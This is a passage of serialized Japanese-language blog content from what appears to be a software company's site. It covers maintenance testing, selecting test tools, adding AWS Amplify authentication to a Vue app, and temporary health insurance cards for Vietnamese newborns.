ことも重要です。すべてのケースであらゆるテストタイプを実施する必要はありませんが、変更がどの品質特性に影響を与える可能性があるかを考慮し、適切なテストタイプを選ぶ必要があります。",[11,4454,4455],{},"また、複数のテストレベルを組み合わせて実施することも求められます。たとえコードの一部をわずかに修正するだけの場合でも、コンポーネントテストに加え、そのコードが関連する他のコードとのインターフェースを確認する統合テストや、システム全体の動作を確認するシステムテストが必要になる場合があります。変更の影響範囲を十分に評価し、必要なテストレベルを決定することが重要です。",[11,4457,4458],{},"メンテナンステストで実施するテスト範囲を決める際の主な要因は以下の通りです。",[31,4460,4461,4467,4473],{},[34,4462,4463,4466],{},[20,4464,4465],{},"変更のリスクの度合い","：変更箇所が他のコンポーネントやシステムと参照やデータ交換を多く行う場合、テストの必要性が高まる",[34,4468,4469,4472],{},[20,4470,4471],{},"既存システムの規模","：システムが大規模であるほどテスト範囲が広くなる可能性がある",[34,4474,4475,4478],{},[20,4476,4477],{},"変更の規模","：修正内容が広範囲にわたる場合、より多くのテストが必要となる",[11,4480,4481],{},[20,4482,4483],{},"メンテナンスが必要となる理由",[11,4485,4486],{},"メンテナンステストが必要となるケースには、以下のような状況があります。",[11,4488,4489],{},[20,4490,4491],{},"ソフトウェアの変更が行われた場合",[11,4493,4494],{},"計画的な機能拡張や仕様変更、欠陥修正など、ソフトウェアに手を加えた際には、その変更が適切に反映されているかテストが求められます。",[11,4496,4497],{},[20,4498,4499],{},"運用環境に変更が生じた場合",[11,4501,4502],{},"対象ソフトウェアそのものに変更がなくても、OSやデータベース、COTSソフトウェア（商用ソフトウェア）のバージョンアップやパッチ適用といった運用環境や周辺システムの変更があれば、ソフトウェアの動作確認が必要です。",[11,4504,4505],{},[20,4506,4507],{},"新しい環境への移行が行われた場合",[11,4509,4510],{},"例えば、異なるプラットフォームへの移行時には、移行後の環境で正しく動作するかを確認する必要があります。また、他のアプリケーションからデータを移行する場合には、データ変換が正確に行われたかを確認するテストも不可欠です。",[11,4512,4513],{},[20,4514,4515],{},"ソフトウェア廃棄時",[11,4517,4518],{},"ソフトウェアの利用を終了する際に、使用していたデータを保管する必要がある場合、データ移行や保管作業のテストが求められます。また、保管されたデータが正しくリスト化されたり、必要に応じて抽出できることを確認するテストも必要です。",[11,4520,4521],{},"IoTシステムでは、多数のソフトウェアやデバイス、サービスが相互に連携するため、メンテナンステストは非常に重要であり複雑です。既存システムのデバイスやソフトウェアの変更、新規追加の際には、それらをシステム全体に統合する統合テストが不可欠です。さらに、個人データを扱う場合は、連携された新しい要素がデータを不正利用したり、漏洩させたりしないよう、厳密に確認する必要があります。",[11,4523,4524],{},[20,4525,4526],{},"メンテナンスの影響度分析",[11,4528,4529],{},"前のセクションで述べたさまざまなメンテナンス作業を実施し、ソフトウェアやシステムをリリースする際には、それぞれの作業（変更、追加、削除など）がもたらす影響を調査する必要があります。この調査は「影響度分析」と呼ばれます。影響度分析で特に難しいのは以下の2点です。",[31,4531,4532,4535],{},[34,4533,4534],{},"変更による副作用（リグレッション）",[34,4536,4537],{},"変更が影響するシステム領域の特定",[11,4539,4540],{},"影響は予想外の場所に現れることがあり、その場合、リグレッションテストを実施しないと、リリース後に不具合が発生する可能性があります。そのため、変更による影響範囲に対してリグレッションテストを実施することが非常に重要です。",[11,4542,4543],{},"リグレッションテストでは、影響を受けた範囲に関連する既存のテストケースを実行するだけで済む場合もあります。しかし、変更内容によっては、既存のテストケースの修正や新たなテストケースの追加が必要になることがあります。例えば、ある関数に引数を追加する変更があった場合、既存のテストケースは従来の2つの引数に対する入力値しか含まれていないため、追加された引数にも適切な入力値を設定する必要があります。また、テスト自動化を行っている場合、自動テストスクリプトの修正も必要になることがあります。リグレッションテストを効果的に行うためには、メンテナンス作業を事前に正確に見積もることが重要です。",[11,4545,4546],{},"変更後に影響度分析を行うこともありますが、変更前に影響度分析を行うことで、作業量を予測し、必要な作業を計画することができます。また、影響の大きさや範囲によっては、影響を最小限に抑える変更方法を再考することも有効です。",[11,4548,4549],{},"影響度分析を効率的かつ正確に行うためには、テスト対象のソフトウェアアイテムとテストウェアの間でトレーサビリティを確立しておくことが重要です。さらに、テスト対象ソフトウェアの保守性を高めておくことも必要です。一般的には、モジュールの凝集度を高く保ち、結合度を低くすること、コードクローンを共通化すること、リファクタリングを行うことなどにより、コードの構造をきれいに保つことが推奨されます。",[11,4551,4552],{},"これらの取り組みが行われていない場合、以下のような状況では影響度分析が難しくなることに注意が必要です。",[31,4554,4555,4558,4561,4564,4567,4570],{},[34,4556,4557],{},"仕様が最新でない、または存在しない",[34,4559,4560],{},"テストケースが文書化されていない、または最新版でない",[34,4562,4563],{},"テストケースとテスト基盤との間で双方向のトレーサビリティが確保されていない",[34,4565,4566],{},"ツールによる影響度分析のサポートが不十分、もしくは存在しない",[34,4568,4569],{},"ドメインやシステムに関する知識を持った担当者がいない",[34,4571,4572],{},"開発時にソフトウェアの保守性が考慮されていない",[11,4574,4575],{},[20,4576,4577],{},"※確認テスト：",[11,4579,4580],{},[57,4581,4582],{"href":4582,"rel":4583},"https:\u002F\u002Fexam-site.briswell-vn.com\u002FstartTest\u002Fjstqb-6-jp",[61],{"title":64,"searchDepth":65,"depth":65,"links":4585},[4586,4587,4588,4589],{"id":4147,"depth":65,"text":4150},{"id":4199,"depth":65,"text":4202},{"id":4311,"depth":65,"text":4314},{"id":4369,"depth":65,"text":4372},"2024-12-31",{},"\u002Fja\u002Fnews\u002Fcac-loai-kiem-thu",{"title":2948,"description":4144},"ja\u002Fnews\u002Fcac-loai-kiem-thu","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2024\u002F12\u002F27161540\u002FScreenshot-2024-12-27-161517.png","0cbBCPCUjFfQ0Z6ELF6L7uCO9FvpHddHT-syE4I0YOI",{"id":4598,"title":4599,"body":4600,"category":353,"created by":68,"date":4786,"description":4787,"extension":71,"meta":4788,"navigation":73,"path":4789,"sections":75,"seo":4790,"stem":4791,"thumbnail":4792,"__hash__":4793},"content_ja\u002Fja\u002Fnews\u002Fcach-su-dung-hieu-qua-cong-cu-kiem-thu.md","テストツールの効果的な使い方",{"type":8,"value":4601,"toc":4784},[4602,4607,4610,4613,4616,4621,4624,4627,4630,4635,4638,4641,4644,4647,4652,4655,4658,4661,4664,4669,4672,4686,4689,4694,4697,4717,4722,4725,4728,4733,4736,4756,4762,4765,4770,4773,4778],[1750,4603,4605],{"id":4604},"ツールを選択する際の基本原則",[20,4606,4604],{},[11,4608,4609],{},"ソフトウェアテストにおいて、適切なテストツールを選択することは品質保証の成功に直結します。そのため、ツールを選択する際には、目的と要件を明確にすることが重要です。例えば、自動化テストの効率化を目指しているのか、バグトラッキングを強化したいのか、または性能テストを実施する必要があるのかを明確にする必要があります。また、テスト対象のシステムの特性やプロジェクトのスコープを分析し、必要な機能要件を定義することも欠かせません。",[11,4611,4612],{},"操作性と学習コストも考慮すべきポイントです。ツールの操作が直感的であるかどうか、学習にどの程度の時間やコストがかかるかを検討し、チームのスキルセットに合ったツールを選ぶ必要があります。同時に、現在使用している他のツールやシステム、環境との互換性を確認することも重要です。例えば、テスト自動化ツールを選ぶ際には、対象のプログラミング言語やフレームワークをサポートしているかを調べるべきです。",[11,4614,4615],{},"さらに、コスト対効果も慎重に評価しなければなりません。ライセンス費用、運用コスト、トレーニング費用などを総合的に考慮し、導入によるメリットがこれらを上回るかどうかを判断する必要があります。最後に、ツールのドキュメントの充実度や、ユーザーコミュニティの活発さ、メーカーやベンダーによるサポート体制も選択基準として重要です。",[1750,4617,4619],{"id":4618},"組織向けにツールを選択する際の基本原則",[20,4620,4618],{},[11,4622,4623],{},"組織レベルでツールを選定する際には、個人利用とは異なる観点が加わります。まず、組織内の関係者、例えばプロジェクトマネージャー、テストエンジニア、開発者などと連携し、それぞれのニーズや期待値を把握することが必要です。また、部署間でツールの共通利用が可能かどうかも検討する必要があります。",[11,4625,4626],{},"さらに、スケーラビリティを評価することも重要です。組織の成長やプロジェクト規模の拡大に対応できるツールであるかどうかを確認します。例えば、ユーザー数の増加や大規模データの取り扱いに対応できるツールであることが求められます。加えて、ツールが組織のセキュリティ要件や業界規制を満たしているかどうかも確認しなければなりません。特にクラウドベースのツールの場合、データ保護や認証機能が十分かどうかを確認することが重要です。",[11,4628,4629],{},"また、組織特有のプロセスや要件に合わせてツールをカスタマイズできる柔軟性があるかどうかも評価すべきです。そして、ツールの導入が組織の戦略やビジョンと整合しているかどうかを確認することも欠かせません。短期的なニーズだけでなく、長期的な使用にも耐えられるツールを選ぶことが重要です。",[1750,4631,4633],{"id":4632},"ツールを組織に導入するためのパイロットプロジェクト",[20,4634,4632],{},[11,4636,4637],{},"新しいテストツールを組織に導入する際には、パイロットプロジェクトを実施することが効果的です。まず、パイロットプロジェクトに適した規模や範囲のプロジェクトを選定します。このプロジェクトは、テストツールの特性を試すために適切な課題や要件を持つものである必要があります。その後、ツールの使用目的、期待する成果、検証基準を明確にした計画を策定します。この際、測定可能な指標、例えばテストケースの実行時間短縮率や不具合検出率の向上などを設定すると良いでしょう。",[11,4639,4640],{},"次に、ツールを使用するチームメンバーに適切なトレーニングを提供します。必要に応じて外部講師を招いたり、ベンダーからのサポートを依頼したりすることも考慮します。そして、ツールを活用してテストを実行し、その結果をモニタリングします。問題が発生した場合は迅速に対応し、原因を分析します。",[11,4642,4643],{},"また、パイロットプロジェクトを成功させるためには、プロジェクトの進捗状況を可視化し、関係者間で頻繁にコミュニケーションを行うことが重要です。これにより、問題が早期に発見され、迅速な対応が可能になります。",[11,4645,4646],{},"最後に、パイロットプロジェクトの結果を評価し、ツールの導入が組織全体にどのような影響を与えるかを分析します。この結果を関係者に報告し、導入を進めるかどうかを判断します。もし、評価結果が期待に達しなかった場合でも、フィードバックを活用して適切なツールを再検討することが可能です。",[1750,4648,4650],{"id":4649},"ツール導入の成功要因",[20,4651,4649],{},[11,4653,4654],{},"ツール導入を成功させるためには、いくつかの要因を考慮する必要があります。まず、なぜそのツールを導入するのか、その導入がどのような課題を解決するのかを明確にすることが重要です。また、組織の経営層やリーダーからのサポートがあると、ツール導入がスムーズに進むことが多いです。",[11,4656,4657],{},"次に、チーム間で情報共有を徹底し、ツールの利用方法や目的について共通認識を持つことが重要です。さらに、ツールの使用状況を定期的にレビューし、必要に応じてプロセスや設定を調整します。これにより、継続的なフィードバックと改善が可能になります。",[11,4659,4660],{},"例えば、ツールの使用状況を記録し、導入前後の効率性を比較することで、導入が具体的にどのような影響を与えたかを数値化できます。また、定期的なトレーニングセッションやワークショップを実施することで、メンバーがツールを最大限に活用できる環境を提供します。",[11,4662,4663],{},"最後に、チームメンバーのモチベーションを維持するために、成功事例の共有や成果の可視化を行うことが重要です。例えば、ツールを使用して特定のプロジェクトが効率的に進行した例を共有することで、他のメンバーにもツール利用のメリットを実感させることができます。これらの取り組みにより、ツールの導入がより効果的で、組織全体の品質保証プロセスが向上します。",[1750,4665,4667],{"id":4666},"ツール選定の実例",[20,4668,4666],{},[11,4670,4671],{},"現場でツール選定を成功させた事例を取り上げることで、具体的な選定の流れや評価ポイントを示します。ある企業では、大規模なモバイルアプリケーションの開発プロジェクトにおいて、UIテストの自動化を目指し、特定の自動化ツールを導入しました。この選定の過程では、以下のようなポイントが考慮されました。",[31,4673,4674,4677,4680,4683],{},[34,4675,4676],{},"サポートしているプラットフォームとデバイスの種類",[34,4678,4679],{},"テストスクリプトの作成と保守の容易さ",[34,4681,4682],{},"テスト結果のレポート機能と可視性",[34,4684,4685],{},"コストとライセンス形態",[11,4687,4688],{},"結果として、ツール導入後にテストの反復が迅速化し、デバッグ時間が大幅に削減されました。このような事例を元に、他の組織でも応用可能な選定フレームワークを構築することができます。",[1750,4690,4692],{"id":4691},"業界別の特化ツール",[20,4693,4691],{},[11,4695,4696],{},"特定の業界には、独自の要件や規制に対応するために特化したツールが必要です。以下にいくつかの例を挙げます。",[199,4698,4699,4705,4711],{},[34,4700,4701,4704],{},[20,4702,4703],{},"医療業界"," 医療分野では、規制遵守が重要です。このため、トレーサビリティやバリデーション機能が充実したツールが求められます。また、患者データの保護に関するセキュリティ機能も必要です。",[34,4706,4707,4710],{},[20,4708,4709],{},"金融業界"," 金融機関では、セキュリティテストや負荷テストが特に重要です。分散型システムをテストするための専門ツールが多く利用されます。",[34,4712,4713,4716],{},[20,4714,4715],{},"Eコマース業界"," Eコマースでは、ユーザーエクスペリエンスの向上が重要です。そのため、A\u002FBテストツールやパフォーマンステストツールが多用されます。",[1750,4718,4720],{"id":4719},"チームへの教育と啓発",[20,4721,4719],{},[11,4723,4724],{},"ツールの導入後、継続的な教育が不可欠です。導入初期にはベーシックなトレーニングを実施し、ツールの基本的な操作や使用方法を学びます。その後、実際のプロジェクトに即したシナリオトレーニングや、専門家を招いたワークショップを行うことで、メンバーのスキル向上を図ります。",[11,4726,4727],{},"また、定期的にツールのアップデート情報や業界の最新トレンドを共有し、ツールの価値を最大限に引き出すためのコミュニティを形成します。リーダー層が積極的に教育を推進することで、チーム全体のスキル向上が促進されます。",[1750,4729,4731],{"id":4730},"トラブルシューティングと課題解決",[20,4732,4730],{},[11,4734,4735],{},"ツール導入時には、多くの課題が発生する可能性があります。その中でも代表的な問題と解決策を以下に示します。",[31,4737,4738,4744,4750],{},[34,4739,4740,4743],{},[20,4741,4742],{},"互換性の問題",": 他のシステムとの統合がうまくいかない場合は、APIを利用したカスタム統合を検討します。",[34,4745,4746,4749],{},[20,4747,4748],{},"学習曲線の問題",": 操作が難しいツールの場合、ステップバイステップのガイドを作成し、必要に応じてトレーナーを派遣します。",[34,4751,4752,4755],{},[20,4753,4754],{},"コスト超過",": 導入前に包括的な費用対効果分析を行い、定期的なレビューでコスト管理を徹底します。",[1750,4757,4759],{"id":4758},"未来展望次世代ツールの可能性",[20,4760,4761],{},"未来展望：次世代ツールの可能性",[11,4763,4764],{},"AIや機械学習を活用した次世代ツールは、テストの自動化や効率化に大きな可能性を秘めています。例えば、AIを利用してユーザー行動を予測し、テストケースを自動生成する技術が注目されています。また、分散型チーム向けには、クラウドベースの統合ツールがさらに進化し、リアルタイムのコラボレーションが可能になると予想されます。",[1750,4766,4768],{"id":4767},"まとめ",[20,4769,4767],{},[11,4771,4772],{},"ツール導入は、単なるシステム変更ではなく、組織全体の品質保証プロセスを向上させる戦略的なステップです。適切な選定、パイロットプロジェクトの実施、継続的な教育と改善を通じて、長期的な成功を収めることができます。最新の技術や業界動向を取り入れながら、テストツールの効果を最大限に活用していきましょう。",[11,4774,4775],{},[20,4776,4777],{},"※確認テスト",[11,4779,4780],{},[57,4781,4782],{"href":4782,"rel":4783},"https:\u002F\u002Fexam-site.briswell-vn.com\u002FstartTest\u002Fjstqb-14-jp",[61],{"title":64,"searchDepth":65,"depth":65,"links":4785},[],"2025-03-10","ツールを選択する際の基本原則 ソフトウェアテストにおいて、適切なテストツールを選択することは品質保証の成功に直結します。そのため、ツールを選択する際には、目的と要件を明確にすることが重要です。例えば、自動化テストの効率化を目指しているのか、バグトラッキングを強化したいのか、または性能テストを実施する必要があるのかを明確にする必要があります。また、テスト対象のシステムの特性やプロジェクトのスコープを分析し、必要な機能要件を定義することも欠かせません。",{},"\u002Fja\u002Fnews\u002Fcach-su-dung-hieu-qua-cong-cu-kiem-thu",{"title":4599,"description":4787},"ja\u002Fnews\u002Fcach-su-dung-hieu-qua-cong-cu-kiem-thu","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F02\u002F21170849\u002FScreenshot-2025-02-21-170733.png","CpTfZW7NdZRNBn5GhmzzvyYqIIDumvjglWa4PeMl7-s",{"id":4795,"title":4796,"body":4797,"category":1388,"created by":68,"date":5100,"description":5101,"extension":71,"meta":5102,"navigation":73,"path":5103,"sections":75,"seo":5104,"stem":5105,"thumbnail":5106,"__hash__":5107},"content_ja\u002Fja\u002Fnews\u002Fcach-them-xac-thuc-vao-ung-dung-vue-bang-aws-amplify.md","AWS Amplifyを使ったVueアプリケーションへの認証追加",{"type":8,"value":4798,"toc":5097},[4799,4803,4806,4809,4813,4822,4825,4828,4834,4837,4842,4845,4852,4856,4860,4863,4868,4871,4876,4879,4883,4886,4890,4893,4897,4900,4903,4906,4909,4912,4915,4918,4921,4928,4931,4934,4937,4942,4945,4950,4953,4956,4959,4962,4965,4968,4971,4983,4992,4996,4999,5004,5007,5014,5020,5023,5026,5032,5035,5041,5044,5047,5050,5056,5059,5062,5065,5071,5074,5082,5085,5091],[487,4800,4802],{"id":4801},"aws-amplifyとは","AWS Amplifyとは",[11,4804,4805],{},"AWS AmplifyはAmazonにより提供されているオープンソースのフレームワークであり、一緒にまたは単独で使用できるツールおよびサービスを含めています。 それらの ツールの一つとしての Amplify Authは使用すると、安全な認証をすばやく設定し、アプリケーションへのユーザーのアクセスを制御することができます。",[11,4807,4808],{},"Amplifyフレームワークは、主な認証プロバイダーとしてAmazon Cognitoを使用します。Amazon Cognitoは、ユーザー登録、認証、アカウント回復、およびその他の動作を処理する強いユーザーディレクトリサービスです。",[487,4810,4812],{"id":4811},"awsアカウントの作成","AWSアカウントの作成",[11,4814,4815,4816,4821],{},"AWS Amplifyを使用するには、AWSアカウントを開設する必要があります。AWSアカウントを持っていない場合は",[57,4817,4820],{"href":4818,"rel":4819},"https:\u002F\u002Faws.amazon.com\u002Fpremiumsupport\u002Fknowledge-center\u002Fcreate-and-activate-aws-account\u002F",[61],"ここ","を見てアカウントを作成してください。",[487,4823,4824],{"id":4824},"プロジェクトの作成",[11,4826,4827],{},"Vue CLIを使用してプロジェクトを作成しましょう。 まずは、システムにVueCLIをインストールする必要があります。 インストールしていない場合は、以下のコマンドでインストールできます。",[4829,4830,4831],"blockquote",{},[11,4832,4833],{},"npm install -g @vue\u002Fcli",[11,4835,4836],{},"インストール後、Vue CLIを利用してプロジェクトが作成できるようになりました。以下のコマンドを実行して新規プロジェクトを作成しましょう。",[4829,4838,4839],{},[11,4840,4841],{},"vue create vue-amplify-auth-tutorial",[11,4843,4844],{},"設定値の選択を求められるので、“Manually select features”→“babel”→“Router”→“Linter \u002F Formatter”の順番で選択してください。",[11,4846,4847,4848,4851],{},"Vue CLIが完了した後、作成したディレクトリへ移動するためのコマンド、サーバーを起動するためのコマンドが表示されるので、それに従って行ってください。サーバーが起動されたら、",[703,4849,4850],{},"localhost:8080","でブラウザを開くことができます。",[530,4853],{"className":4854,"alt":64,"src":4855,"style":1943},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2022\u002F01\u002F18150815\u002Fvuejs.png",[487,4857,4859],{"id":4858},"amplify-cliのインストールと設定","Amplify CLIのインストールと設定",[11,4861,4862],{},"Amplify CLIは、アプリケーション用の各種AWSのクラウドサービスを構築するツールの一連です。まず、以下のコマンドを実行することでインストールできます。",[4829,4864,4865],{},[11,4866,4867],{},"npm install -g @aws-amplify\u002Fcli",[11,4869,4870],{},"つぎ、以下のコマンドを実行することでAmplifyを設定します。",[4829,4872,4873],{},[11,4874,4875],{},"amplify configure",[11,4877,4878],{},"上記のコマンドを実行したら、新しいブラウザウィンドウが開いて、AWSマネジメントコンソールへのログインを求められます。ログインした後、ターミナルへ戻って、Enterキーを押しましょう。",[530,4880],{"className":4881,"alt":64,"src":4882,"style":1943},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2022\u002F01\u002F18151215\u002Fstep1.png",[11,4884,4885],{},"続いて、AWSリージョンの選択が求められるので、リージョンを選択してください。",[530,4887],{"className":4888,"alt":64,"src":4889,"style":1943},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2022\u002F01\u002F18151627\u002Fstep2.png",[11,4891,4892],{},"あと、新しいIAMユーザー名を指定する必要があります。デフォルトの名前をそのままにしてEnterキーを押下できます。または、独自の名前を指定することもできます。今回は、auth-demoという名前を指定します。",[530,4894],{"className":4895,"alt":64,"src":4896,"style":1943},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2022\u002F01\u002F18151944\u002Fstep3.png",[11,4898,4899],{},"Enterキーを押下しブラウザーに戻った後、以下の順序を行います。",[11,4901,4902],{},"Permissionsボタンを押下してください。",[11,4904,4905],{},"Tagsボタンを押下してください。",[11,4907,4908],{},"Reviewボタンを押下してください。",[11,4910,4911],{},"Create Userボタンを押下してください。",[11,4913,4914],{},"そのあと、ターミナルに戻って、Enterキーを押下してください。",[11,4916,4917],{},"作成したユーザーのaccessKeyIdを入力してEnterキーを押下してください。",[11,4919,4920],{},"作成したユーザーのsecretAcessKeyを入力してEnterキーを押下してください。",[11,4922,4923,4924,4927],{},"プロファイル名の入力を求められるので、",[20,4925,4926],{},"デフォルト値","をそのままにしてEnterキーを押下してください。",[11,4929,4930],{},"すべてが完了したら、新しいユーザーが設定できたことを示すメッセージがターミナルに表示されます。",[487,4932,4933],{"id":4933},"認証サービスの作成",[11,4935,4936],{},"Vueアプリケーションのルートディレクトリから、以下のコマンドを実行してください。",[4829,4938,4939],{},[11,4940,4941],{},"amplify init",[11,4943,4944],{},"Vueアプリケーションに認証を追加する必要があるので、Vueアプリケーションのルートディレクトリで、以下のコマンドを実行してください。",[4829,4946,4947],{},[11,4948,4949],{},"amplify add auth",[11,4951,4952],{},"Amplifyの初期化時、アプリケーションの情報の入力を求められるので、それに従ってください。",[11,4954,4955],{},"プロジェクト名を入力してください。",[11,4957,4958],{},"バックエンド環境の名前を設定してください。",[11,4960,4961],{},"好きなエディターを選択してください。",[11,4963,4964],{},"Vueを利用するので、JavaScriptフレームワークを選択してください。",[11,4966,4967],{},"これがデフォルトとして設定しているので、Enterキーを押下することで次に進みます。",[11,4969,4970],{},"新しいAmplifyプロジェクトを初期化する時、以下のものが生成されます。",[31,4972,4973,4980],{},[34,4974,4975,4976,4979],{},"バックエンドの定義を格納する、",[703,4977,4978],{},"amplify","というトップレベルディレクトリが生成されます。",[34,4981,4982],{},"Amplifyを使って作成したサービスの設定の全てを格納するsrcディレクトリに、aws-exports.jsというファイルが生成されます。これによってAmplify Clientはバックエンドのサービスに関する必要な情報を取得できます。",[11,4984,4985,4986,602,4988,4991],{},"サービスをデプロイするには",[703,4987,4978],{},[703,4989,4990],{},"push","コマンドを実行してください。",[487,4993,4995],{"id":4994},"amplifyライブラリのインストール","Amplifyライブラリのインストール",[11,4997,4998],{},"VueアプリケーションにAmplifyをインストールする必要があります。以下のコマンドを実行してインストールできます。",[4829,5000,5001],{},[11,5002,5003],{},"npm install aws-amplify",[487,5005,5006],{"id":5006},"アプリケーションの設定",[11,5008,5009,5010,5013],{},"VueアプリケーションにAmplifyを追加する必要があります。",[20,5011,5012],{},"main.js","ファイルを開き、最後のimportの下に以下のコードを追加します。",[696,5015,5018],{"className":5016,"code":5017,"language":701},[699],"import Amplify from 'aws-amplify';\nimport awsconfig from '.\u002Faws-exports'; \nAmplify.configure(awsconfig);\n",[703,5019,5017],{"__ignoreMap":64},[487,5021,5022],{"id":5022},"登録ページの作成",[11,5024,5025],{},"ユーザーが登録ボタンを押下すると登録メソッドを呼び出します。以下に、その登録メソッドの実装を示します。",[696,5027,5030],{"className":5028,"code":5029,"language":701},[699],"async register() {\ntry {\nawait Auth.signUp({\nusername: this.email,\npassword: this.password,\n});\nalert('User successfully registered. Please login');\n} catch (error) {\nalert(error.message);\n}\n},\n",[703,5031,5029],{"__ignoreMap":64},[11,5033,5034],{},"このメソッドはインストールしておいたAWS AmplifyパッケージのAuthを利用します。以下のステートメントをスクリプトセクションの上部に追加します。",[696,5036,5039],{"className":5037,"code":5038,"language":701},[699],"import { Auth } from 'aws-amplify';\n",[703,5040,5038],{"__ignoreMap":64},[11,5042,5043],{},"では、アプリケーションを開いて、ユーザーを新規登録してみましょう。成功した場合はユーザーが登録できたという通知が届きます。",[487,5045,5046],{"id":5046},"ログインページの作成",[11,5048,5049],{},"ログインメソッドを以下のように実装します。",[696,5051,5054],{"className":5052,"code":5053,"language":701},[699],"async login() {\ntry {\nawait Auth.signIn(this.email, this.password);\nalert('Successfully logged in');\n} catch (error) {\nalert(error.message);\n}\n},\n",[703,5055,5053],{"__ignoreMap":64},[11,5057,5058],{},"これまで、アプリケーションを開いて、既に登録されているユーザーでログインできます。",[487,5060,5061],{"id":5061},"ログアウトメソッドの追加",[11,5063,5064],{},"スクリプトセクションで、ログアウトメソッドを含まれるメソッドのオブジェクトを以下のように追加します。",[696,5066,5069],{"className":5067,"code":5068,"language":701},[699],"methods: {\nasync logout() {\ntry {\nawait Auth.signOut();\n} catch (error) {\nalert(error.message);\n}\n},\n},\n",[703,5070,5068],{"__ignoreMap":64},[11,5072,5073],{},"これまで、AWS Amplifyを使ったVueアプリケーションへの認証追加の完了です。",[11,5075,5076,5081],{},[57,5077,5080],{"href":5078,"rel":5079},"https:\u002F\u002Fgitlab.com\u002Fbwv-hp\u002Famplify-demo",[61],"Gitlab","のソースコード",[495,5083,5084],{"id":5084},"参照元",[11,5086,5087],{},[57,5088,5089],{"href":5089,"rel":5090},"https:\u002F\u002Faws.amazon.com\u002Famplify\u002F",[61],[11,5092,5093],{},[57,5094,5095],{"href":5095,"rel":5096},"https:\u002F\u002Fblog.thundra.io\u002Fhow-to-build-an-application-in-minutes-with-aws-amplify",[61],{"title":64,"searchDepth":65,"depth":65,"links":5098},[5099],{"id":5084,"depth":65,"text":5084},"2022-03-14","AWS Amplifyとは AWS AmplifyはAmazonにより提供されているオープンソースのフレームワークであり、一緒にまたは単独で使用できるツールおよびサービスを含めています。 それらの ツールの一つとしての Amplify Authは使用すると、安全な認証をすばやく設定し、アプリケーションへのユーザーのアクセスを制御することができます。",{},"\u002Fja\u002Fnews\u002Fcach-them-xac-thuc-vao-ung-dung-vue-bang-aws-amplify",{"title":4796,"description":5101},"ja\u002Fnews\u002Fcach-them-xac-thuc-vao-ung-dung-vue-bang-aws-amplify","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2022\u002F01\u002F21140420\u002Fvue_applify.jpg","5EInbyMU3tHm5-XCQd28qD_clTDO9WYtdGUHNG4CcOU",{"id":5109,"title":5110,"body":5111,"category":67,"created by":68,"date":5149,"description":5115,"extension":71,"meta":5150,"navigation":73,"path":5151,"sections":75,"seo":5152,"stem":5153,"thumbnail":5154,"__hash__":5155},"content_ja\u002Fja\u002Fnews\u002Fcap-the-bhyt-tam-thoi-cho-tre-chua-co-giay-khai-sinh.md","出生届未発行の新生児への仮健康保険証の発行",{"type":8,"value":5112,"toc":5147},[5113,5116,5130,5133,5136,5140],[11,5114,5115],{},"通達第30\u002F2020\u002FTT-BYT号第10条第1項の規定に沿って、新生児は出生直後に健康保険法に定めた健康保険各制度の享受対象ともなりますが、社会保険機関は出生届を発行してからでなければ健康保険証を発行できません。この場合においては、診断治療施設は、仮の健康保険証番号として以下のように記載することができます。",[31,5117,5118,5121,5124,5127],{},[34,5119,5120],{},"対象コード：TEで記載します。",[34,5122,5123],{},"健康保険給付率コード：1で記載します。",[34,5125,5126],{},"中央直轄市・省コード：決定第124\u002F2004\u002FQĐ-TTg号の規定どおりに、母親ないし法的な保護者の居住地、または、新生児が診断治療施設に遺棄される或いは養子縁組をする者がいない場合において診断治療施設の本部が位置する居住地の行政単位コードで記載します。",[34,5128,5129],{},"医療識別コード：2020年決定第2153\u002FQĐ-BYT号の規定どおりに記載します。",[11,5131,5132],{},"そのため、新生児は出産直後に出生届が未発行だとしても仮の健康保険証を発行できるということとなります。",[11,5134,5135],{},"上記の通達は2021年3月1日より有効になります。",[11,5137,5138,197],{},[2645,5139,55],{},[11,5141,5142],{},[57,5143,5146],{"href":5144,"rel":5145},"https:\u002F\u002Fthuvienphapluat.vn\u002Fvan-ban\u002FThe-thao-Y-te\u002FThong-tu-30-2020-TT-BYT-huong-dan-Nghi-dinh-146-2018-ND-CP-huong-dan-Luat-bao-hiem-y-te-461154.aspx",[61],"通達第30\u002F2020\u002FTT-BYT号",{"title":64,"searchDepth":65,"depth":65,"links":5148},[],"2021-06-11",{},"\u002Fja\u002Fnews\u002Fcap-the-bhyt-tam-thoi-cho-tre-chua-co-giay-khai-sinh",{"title":5110,"description":5115},"ja\u002Fnews\u002Fcap-the-bhyt-tam-thoi-cho-tre-chua-co-giay-khai-sinh","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F04\u002F22093843\u002FCapTheBHYTChoTreEm.png","lweBVw75w8BA3TFu1OD4Xia_NSNyu1HxPuZa67yYWfA",{"id":5157,"title":5158,"body":5159,"category":67,"created 